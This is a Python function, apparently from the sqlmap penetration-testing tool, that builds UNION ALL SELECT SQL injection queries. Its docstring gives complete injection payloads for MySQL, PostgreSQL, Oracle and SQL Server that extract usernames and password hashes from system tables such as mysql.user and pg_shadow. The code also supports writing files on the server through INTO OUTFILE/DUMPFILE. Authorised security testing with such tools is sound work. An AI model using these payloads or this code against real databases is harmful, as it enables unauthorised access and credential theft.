'Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input:  CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output:  UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input:  (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output:  UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input:  (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output:  UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input:  (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output:  UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param position: it is the NULL position where it is possible
to inject the query
@type position: C{int}
@return: UNION ALL SELECT query string forged
@rtype: C{str}'

def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):

    if conf.uFrom:
        fromTable = ('    FROM    %s' % conf.uFrom)
    elif (not fromTable):
        if kb.tableFrom:
            fromTable = ('    FROM    %s' % kb.tableFrom)
        else:
            fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), '')
    if query.startswith('SELECT    '):
        query = query[len('SELECT    '):]
    unionQuery = self.prefixQuery('UNION    ALL    SELECT    ', prefix=prefix)
    if limited:
        unionQuery += ','.join(((char if (_ != position) else ('(SELECT    %s)' % query)) for _ in xrange(0, count)))
        unionQuery += fromTable
        unionQuery = self.suffixQuery(unionQuery, comment, suffix)
        return unionQuery
    else:
        _ = zeroDepthSearch(query, '    FROM    ')
        if _:
            fromTable = query[_[0]:]
        if (fromTable and query.endswith(fromTable)):
            query = query[:(- len(fromTable))]
    topNumRegex = re.search('\\ATOP\\s+([\\d]+)\\s+', query, re.I)
    if topNumRegex:
        topNum = topNumRegex.group(1)
        query = query[len(('TOP    %s    ' % topNum)):]
        unionQuery += ('TOP    %s    ' % topNum)
    intoRegExp = re.search("(\\s+INTO    (DUMP|OUT)FILE\\s+'(.+?)')", query, re.I)
    if intoRegExp:
        intoRegExp = intoRegExp.group(1)
        query = query[:query.index(intoRegExp)]
        position = 0
        char = NULL
    for element in xrange(0, count):
        if (element > 0):
            unionQuery += ','
        if (element == position):
            unionQuery += query
        else:
            unionQuery += char
    if (fromTable and (not unionQuery.endswith(fromTable))):
        unionQuery += fromTable
    if intoRegExp:
        unionQuery += intoRegExp
    if multipleUnions:
        unionQuery += '    UNION    ALL    SELECT    '
        for element in xrange(count):
            if (element > 0):
                unionQuery += ','
            if (element == position):
                unionQuery += multipleUnions
            else:
                unionQuery += char
        if fromTable:
            unionQuery += fromTable
    unionQuery = self.suffixQuery(unionQuery, comment, suffix)
    return unionQuery
